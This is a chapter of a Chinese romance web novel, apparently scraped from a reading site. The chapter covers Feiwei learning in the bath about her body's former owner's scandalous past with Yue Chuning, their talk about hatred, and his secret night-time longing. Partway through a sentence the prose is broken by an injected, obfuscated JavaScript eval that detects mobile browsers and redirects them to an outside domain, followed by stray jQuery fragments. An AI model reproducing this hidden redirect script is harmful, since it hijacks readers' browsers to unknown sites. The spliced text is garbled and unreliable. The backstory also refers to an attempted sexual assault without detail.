34. 恨意

作品:《白月光拒绝HE

    冬日浴汤,可谓一大享受。


    大半个身子泡入热乎乎的水中,瞬间便能解乏。隐约间花香浮动,令人心绪安定放松,白日种种纷乱想法顷刻没了踪影,只留下暖流包覆在身上,令人沉醉。


    不过翡微此时并没有享受的心情。


    屋内水汽蒸腾得厉害,潮热不透气,她反倒是越泡越难受。


    “绿珠,你把窗户打开,我快闷死了。”


    绿珠下意识道:“那可不行!冬日沐浴怎能开窗?!到时寒气入体可要生大病的。”


    翡微倒是理解她的担忧,寻常人没有灵力护体,只是一个风寒感冒有时候也足以要人命。不过,她如今虽灵力低微如无,但到底有少许护体的作用。尤其经过一次彼岸红莲的毒发,她是怕极了热。


    “没事,我不会生病的,你打开罢。”


    绿珠还想反对,可一转脸见她两腮通红,看样子好像的确是闷着了。又想她日日勤加练武,身子骨确实强健不少,回想去年一整年,确实是没有生过一次病。


    如此,绿珠犹豫了下还是为她开了一扇小窗。她倒不担心有人瞧见,每次姑娘沐浴都有晚晴在外面守着。


    翡微趴在浴桶边上,吸了口窗外凉彻的空气才稍微舒畅了些。


    院子里的树还没长出树叶的嫩芽,就那么光秃秃地在风中摇摆。她百无聊赖,对着窗外没什么看头的景致发了会儿呆,忽问:“绿珠,凌……我以前是不是喜欢宫中的三皇子?”


    绿珠愣了愣,反应过来后有些惶急道:“姑娘今日见到三殿下了?可是三殿下说了什么?还是……姑娘想起什么了?”


    翡微奇怪地看她一眼,“你这么紧张干嘛?”


    “没、没什么?我这不是以为您都记起来了,有些激动吗……”这话说的没有一个字是真心的,绿珠心里明白,她其实是生怕四姑娘全都记起来,再变回原来那个可怕的主子。


    “我没记起来,所以才想问问你。”


    绿珠听她这么说,稍稍松下一口气,暗自庆幸好在她什么都没记起来,主子依旧是这个好说话的主子。


    放下心,绿珠说话便松快许多,“姑娘从前确实对三殿下有意。自从姑娘第一次进宫见到了三殿下,便日日吵着要进宫看望那时候还是凌妃娘娘的大姑娘。起初大家都以为姑娘是思念娘娘,老爷还道姑娘和娘娘姐妹情深不舍分离,于是便生了把姑娘送入宫陪伴娘娘的心思。”


    绿珠的话匣子一旦打开,便有些滔滔不绝:“谁知老爷和娘娘商量之后,问姑娘的意思,姑娘当场就大哭了起来,吵着闹着非三殿下不嫁。当时老爷的脸色可难看了,罚了姑娘禁足不说,连娘娘都勒令姑娘以后没有传召不得入宫。那段时候姑娘闹得很凶,院子里的东西,还有……人都没少被姑娘拿来撒气。”


    无需她展开说说,翡微猜都能猜到“凌棠”那时候该是一副怎样凶神恶煞的模样。


    “那我后来为什么嫁给了月褚宁?”


    “……”绿珠正在给她洗头发,闻言犹豫了一瞬:“其实……三皇子殿下风度翩翩,一直深受兴阳贵女们的仰慕,眼看三殿下已到了适婚的年纪,姑娘对三殿下用情至深,唯恐被别家的姑娘捷足先登,屡次求老爷和娘娘促成此事。”


    翡微点点头,郑亭那样的男子,原主喜欢他并不奇怪,况且两人也算门当户对,真要谈婚论嫁也不是不可以。


    虽说漓国重文,武将门第始终要比文臣低上一头,但凌家算得上将门之首,嫁给皇子完全可行。


    绿珠叹了口气,“但也不知为何,老爷和娘娘对此事总是迟疑顾望,始终不肯答应。眼看姑娘及笄,求娶姑娘的人越来越多,姑娘心中焦急,想要找三殿下尽快袒露心意,于是趁着一次宫宴买通了宫里的太监,偷偷约三殿下私会……然后……然后……”


    绿珠卡在“然后”说不下去,抬眼偷偷打量她。


    不用绿珠说完,翡微已经脑补了剩下的故事。


    郑亭文武全才、德行兼备,这样的人明眼人都能看出来是未来储君的不二人选。可漓国皇上迟迟不肯立储,显然有别的考量。而凌国双和凌荷应是碍着这一点,所以不肯为凌棠牵线。


    偏凌棠不管不顾,与人在宫中私会,也不知该说她太过胆大还是为爱疯狂。


    只是她既能因为一眼惊艳从此对郑亭念念不忘,亦能对别的好颜色心生贪恋。


    翡微已在心中猜了个七七八八:“如果我没猜错,应该是那日原本相约的是三殿下,结果不知怎的,来的人却是月褚宁。月色下观美人,一下就被色念蒙了心……”


    绿珠惊讶:“您怎么知道?!”


    翡微语气平平:“所以我哪怕心悦三殿下,但奈何色迷心窍总也忘不了月褚宁。于是暗自寻了个机会意图对他用强,不承想正好被皇后娘娘撞了个正着,姐姐为了不让我受重罚,逼月褚宁认下主责这才保全了我……而事情已经闹到那般地步,最后也只好用我和月褚宁的完婚收场。对吧?”


    绿珠惊得如同掉了下巴,目瞪口呆地看着翡微三言两语,把整个曲折的故事说了个清楚。


    她咽了下唾沫,艰难道:“姑娘……是……又记起来了?”


    翡微:“……”


    什么叫又……


    你们一人一句,只要不是个傻的,左一句右一句拼一拼,总也该拼出个故事的大概。


    绿珠也意识到自己问的奇怪,重新又问:“姑娘全都想起来了?”


    “没有,只是猜了个大概。”翡微摆摆手,忽而抬眸看她一眼,“你主子欲行不轨,你为什么不拦着?这些事,没有人帮忙可完不成。”


    她倒没有质问的意思,单纯就是好奇绿珠在里头扮演了什么角色。


    绿珠却以为她在秋后算账,连忙大呼无辜,“姑娘小时候中过一次毒,那之后对身边的人就都不怎么信任了!”


    “我和晚晴并非从小在姑娘身边伺候,姑娘对我们也有防着的时候,做什么从来不会让我们知道。很多事奴婢也是事后才知道!后来姑娘和姑爷闹出了事,奴婢和晚晴差点被老爷打死,姑娘看我们被打的半死也不曾喊冤,这才大发慈悲,亲口承认怕计划出岔子,所以一开始就没让我们参与,老爷这才留下奴婢和晚晴的性命!否则奴婢就是有一百个胆子,也不敢撺掇主子做这么危险的事!!”


    绿珠只要情绪紧张,就会开始自称奴婢。


    翡微见吓着她了,温声道:“我没有怪你的意思,我只是想问凌棠毕竟只是一介女子,月褚宁好歹是个男人,她若想用强,总要有人帮才行。”


    绿珠一时慌张,没注意到她的话问得如同一个旁观者。


    “……奴婢也是后来得知。当时姑娘好像是买通了两个太监,趁着郑太妃薨逝寿安宫无人,便将人……拖去了那里……”绿珠越说声音越低,到最后话只说了一半,脸却红了满面。


    这回换翡微目瞪口呆了。


    太妃寝宫?还是去世没多久的太妃寝宫??


    天哪……凌棠这是什么色胆包天的采花贼人?!


    “这么做,就不怕连累整个家族?”翡微不能理解,要说这凌府里,还是有不少人真心对凌棠,凌棠就算不顾忌自己的名声,总也该顾忌家人。


    绿珠却露出无奈之色,垂着眉眼小声嘀咕:“姑娘行事向来不考虑那么多……只管得没得到想要的。”


    翡微:“……”


    沉默片刻,翡微客观评价:“……我以前可真是个不怎么样的人。”


    绿珠哀怨地看她,心道:“您现在才知道。”


    翡微转念一想,倒理解了凌荷为何会给他们吃下“两不疑”。


    凌家虽不喜月褚宁,但毕竟他已经与凌家有了牵连。他身份特殊,尽管已经被月国抛弃,但终归是月国的皇子,为了日后拿捏住他,不惜拿出世间仅此一份的“两不疑”也不奇怪。


    凌荷的原意应该是想让她吃下“浮生若梦”,从某种意义上来说,“浮生若梦”算是“彼岸红莲”唯一的解药。


    如此,月褚宁这枚棋便可以牢牢掌握在凌家手里。


    只是凌荷没想到,她放着浮生若梦不吃非选个最折腾人的彼岸红莲。这样一来,在凌荷眼中反而是月褚宁把凌棠拿捏了。


    唉……皇家多算计,整日你算计我来我算计你。活得太累!


    翡微总结完毕,澡也洗的差不多。


    洗去妆容,她白净的如同一个玉人,沾了水汽的眉毛和长睫越发浓密乌黑。一头湿漉漉的长发落在身后,如同一条细长的墨河。


    绿珠和晚晴拿着布子动作轻缓地给她擦干长发,绿珠闻得翡微轻轻叹息一声,以为她对过往发生的事感到懊悔,便安慰:“都是过去的事了,姑娘如今都忘了也好,做人不就是要向前看嘛!您看您现在跟姑爷相处得多好!”


    翡微倒是一点都不懊悔,毕竟那些下三滥的事跟她半个铜板的关系都没有。


    她愁的是原主造的孽,拖累的却是她的修行业果。


    要知道世间所有皆为因果相连,一个人如果作孽太多,势必有损福泽灵性。


    “唉……月


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975527|176175||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    褚宁心里头指不定多恨我呢……”


    绿珠和晚晴停了手中动作,也不言语。


    屋内突然陷入一阵奇妙的静默,只有发尾的水珠无声滴落。一道冷森森的声音毫无征兆地打破了宁静:“我恨你与否,对你又有什么重要?”


    翡微一惊,回头看见他略显阴沉的脸色。


    大概是以这具身体面对他的关系,想起他被人拖进殿内受辱的场景,便是翡微不是原主,也有些不敢直视他的眼睛。


    绿珠和晚晴不知何时退了出去。


    翡微垂下眼眸,躲着他的视线小声道:“自然重要,我可不希望你恨我。”


    “为何?”


    自然是因为你恨我也会影响我的功业。


    可不要小看了恨意,师尊曾说,祝福之念可助人,反之诅咒之念也可害人。一个人的恨意会影响另一个人的运道,无形之中布下阻难。恨意越深威力就越大。


    此法或可伤人报复,但凡是邪念恶念最后都会反噬其身,得不偿失。


    月褚宁的身世背负了太多恨意,而这些恨意最终都会转变成了他的仇恨,于是恨不断循环,恶念不绝。


    翡微静了一瞬,抬眸道:“我不希望你恨我,我也不希望你恨任何人和事。仇恨并不能给你力量,它只会吞心噬魂,让人变得不像人。人的一生很短,比起总是想着怎么报复,怎么伤害,我更希望你心有苍穹,眼中见高山苍松,耳中闻清歌妙舞,活得舒心惬意。”


    月褚宁无言看着她。


    她的表情诚恳而真心,沐浴之后的面容素颜清目,如白玉无瑕。以前她的眼睛他从不觉得好看,但不知从什么时候开始,那双他不愿多看一眼的眼睛,漂亮的如同星河明月,璀璨的刺眼。


    他有瞬间的恍惚,眼中闪过一丝若有似无的向往。


    心有苍穹,目见高山。


    听上去何等惬意洒脱,可她终归没有落入尘埃,所以她不懂。在这个世界上,没有力量的人注定只能在幽暗的夹缝里苟活,诗意的远方从来都是只属于得权者的自娱。


    他陡然敛住神色,脸上只余面无表情的疏冷。


    “我的事不用你管。我恨不恨谁,也不是你能管的。”


    话说到这个份儿上倒显得她多管闲事了,翡微没了说话的欲望,自己默默擦干头发上榻睡觉。


    她摸了摸脖子上的避尘珠,今日回来的太晚没能好好研究避尘珠的力量,只好明日再说。


    她一边摸着珠子,一边默念心法,没一会儿便沉沉睡去。


    月上枝头,数点寒鸦影。


    月褚宁在彻底暗下来的房间里睁开眼睛。


    露重冷眠月,星吹白结香。


    他无声翻了个身,抬眸默默看向榻上人。少女如黑夜般的乌发散在枕间,几缕青丝顺着床沿落下,堪堪悬在地面之上。


    他出神地盯着那几缕青丝,白结花香幽幽明明,缥缈如虚幻。


    月褚宁忽然鬼使神差地压着地面轻声往她的方向靠近。


    小心翼翼伸出的手在空中微微迟疑,最终还是往前一探,指尖碰触到柔软的发尾,下一秒被他攥入掌心。发丝柔软而冰凉,如月光流泉,如一滩溪雪。


    当真是病的不轻。


    他自嘲般的想。


    曾经那般避如蛇蝎的人,如今却想要靠近和碰触,哪怕只是握住她一缕头发便觉得心安无比。


    今日见她目不转睛地盯着郑亭看,他心中莫名窝火,但比起这个,最让他不适的却是内心无法控制的不安。他不愿承认,却又不得不承认,他害怕她离开,害怕她有一日终会丢下自己,去追寻她眼中的幸福。


    因为他比任何人都清楚,她的幸福不会是他。


    他不会是任何人的幸福。


    从他出生的那一刻起,就已经注定成为不幸。


    可他不愿放手,或许他不配得到天意的眷恋,或许他注定永生与黑暗为伍。那就至少,让人间的一缕光明属于他。


    属于他一个人。


    “若我说不恨你,你是不是就会离开?”


    “若我说恨你,你是不是就能留下?”


    无人回答的问题,转瞬而逝。本也无需回答,不过是他一人心中执念。


    他悄悄凑近,让手中柔软的发丝贴上鼻尖,若有似无的淡香在鼻腔内流转,如同坠入一场美梦,而他却始终无法得到满足般,深深的,近乎贪婪的吸嗅。


    静谧的月夜,时间仿佛就此静止,他跪在她榻下,以一个最虔诚和最卑怯的姿势,亵渎了这场美梦。